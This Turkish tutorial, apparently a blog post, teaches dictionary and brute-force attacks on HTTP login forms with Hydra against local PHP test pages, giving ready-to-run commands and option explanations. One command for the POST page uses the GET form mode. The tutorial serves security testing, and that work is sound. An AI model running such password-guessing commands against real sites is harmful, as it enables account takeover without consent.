Brute-force (kaba kuvvet) ve Dictionary (Sözlük) saldırıları bir sistemde birçok kez deneme yaparak, kullanıcı adını veya parolayı bulma/kırma çabalarıdır. Bugünkü yazılımızda bir kullanıcı adı ve parola ile girilebilen bir sayfayı hydra ve patator kullanarak nasıl atak düzenleyebileceğimizi göreceğiz. Bu çalışmada kullanacağımız ve atak düzenlenecek örnek sayfamız php sayfası olarak hazırlanmıştır.

Sözlük atakları dışarıdan verilen kelime havuzuyla yapılan saldırı türüdür. Kaba kuvvet saldırılarında ise sözlük atağından farklı olarak uzunluk ve içerik olarak belirlenen girdiyle bütün ihtimallerin denenmesidir. Eğer bir şifre veya veri kırılmak istenirse, önce sözlük saldırısının, sonrasında ise kaba kuvvet saldırısının yapılması önerilir.

Bu makalede hem 'POST' hem de 'GET' metodu kullanan bir sitenin kullanıcı adının ve parola alanının birlikte kırılması test edilecektir. Deneme yapılacak makine ile site aynı makine olduğundan IP adresi olarak 127.0.0.1 kullanılacaktır. Farklı siteler için bu değer ilgili ip veya domain adı ile değiştirilmelidir.
Kullandığımız HTML (PHP) sayfasının içerikleri aşağıda sunulmuştur.

Dosya Adı: post_test.php

Dosya Adı: get_test.php

Kali Linux üzerinde Hydra ile testler yapılacaktır. Hydra, çeşitli farklı protokollere girişlere saldırmak için seçeneklere sahiptir, ancak bu yazıda, HTTP Form parolasının gücünü test etmeyi öğreneceksiniz.

Bu kılavuz, Hydra'ya test edilecek girdileri sağlamak için sözcük listelerini ve kaba kuvvet parametresini kullanacaktır.

Hydra ile hem GET hem de POST sayfaları için ayrı ayrı çalıştırarak parolayı bulmayı deneyelim.
Hydra için kullanılacak parametre komutların açıklamaları aşağıda sunulmuştur.

-l  LOGIN    Tek bir kullanıcı adı parametresi alır (örnek kullanım: -l admin)
-L  DOSYA    Bir listeden gelebilecek kelimeler kullanıcı adı olarak denenir (örnek kullanım: -L example.txt)
-p  PASS    Tek bir parola parametresi alır (örnek kullanım: -p pass)
-P  DOSYA    Bir listeden gelebilecek kelimeler denenir (örnek kullanım: -P example.txt)
-v veya -V    Ayrıntılı mod / login+parola her deneme için gösterilir.

-x min:max:charset 
Minimumdan maksimum uzunluğa kadar parolalar oluşturur. Karakter kümesi sayılar için 1, küçük harf için a ve büyük harf karakterler için A içerebilir. Eklenen herhangi bir karakter listeye eklenir.
(Örnek Kullanım: -x 1:5:a1.)
Parola uzunluğu 1 ile 5 karakter arası olan, küçük harf, sayı ve . barındıran denemeleri yapar.

-e nsr 
Ek denetimler için kullanılır. Null parola için 'n', 's' kullanıcı adı ile giriş yapmayı dener, 'r' kullanıcı adı ile ters giriş yapmayı dener.

http[s]-{get|post}-form '1:2:3:4'
HTTP için http- ile HTTPS için https- ile kullanım
POST için http[s]-post-form
GET için http[s]-get-form

'1:2:3:4' 
1 sayfa, 2 gövde içeriği, 3 başarısızlık (F =) veya başarı (S =) mesajı, 4 (H=) başlıklar (örnek cookie) belirtilebilir (isteğe bağlıdır). 
(Örnek Kullanım: /get_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed)
sayfa değeri belirtilirken başındaki / unutulmamalıdır.
username, password ve Login alanları form elemanlarının adlarıdır. Farklı eleman adları için bu değerleri değiştiriniz.

Uyarı: Hydra saldırmak için kullanılan bir araçtır. Sahibinin yazılı izni olmadıkça, yalnızca kendi sistemlerinizde ve ağlarınızda kullanın. Aksi takdirde kullanımı yasa dışıdır. 

get_test.php için başarılı hydra kullanım örnekleri:

kullanıcı adı ve parola ikilisi için deneme:
hydra -L '/usr/share/wordlists/wfuzz/general/common.txt' -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V 127.0.0.1 http-get-form '/get_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed' 

Kullanıcı adı 'admin' için deneme:
hydra -l admin -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V 127.0.0.1 http-get-form '/get_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed' 

Hata sayfası dönen değere göre deneme:
hydra -l admin -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V -e nsr 127.0.0.1 http-get-form '/get_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed' 

Başarı sayfası dönen değere göre deneme:
hydra -l admin -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V 127.0.0.1 http-get-form '/get_test.php:username=^USER^&password=^PASS^&Login=Login:S=Login successful' 

Parolaya kaba kuvvet saldırısına göre deneme (minimum 5, maksimum 5 karakter için sadece küçük harflerin denemesi):
hydra -l admin -x 5:5:a -v -V 127.0.0.1 http-get-form '/get_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed'

post_test.php için başarılı hydra kullanım örnekleri:

kullanıcı adı ve parola ikilisi için deneme:
hydra -L '/usr/share/wordlists/wfuzz/general/common.txt' -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V 127.0.0.1 http-post-form '/post_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed' 

Kullanıcı adı 'admin' için deneme:
hydra -l admin -P '/usr/share/wordlists/wfuzz/general/common.txt' -v -V 127.0.0.1 http-get-form '/post_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed' 

Parolaya kaba kuvvet saldırısına göre deneme (minimum 1, maksimum 5 karakter için küçük harf ve sayı denemesi):
hydra -l admin -x 1:5:a1 -v -V 127.0.0.1 http-post-form '/post_test.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed'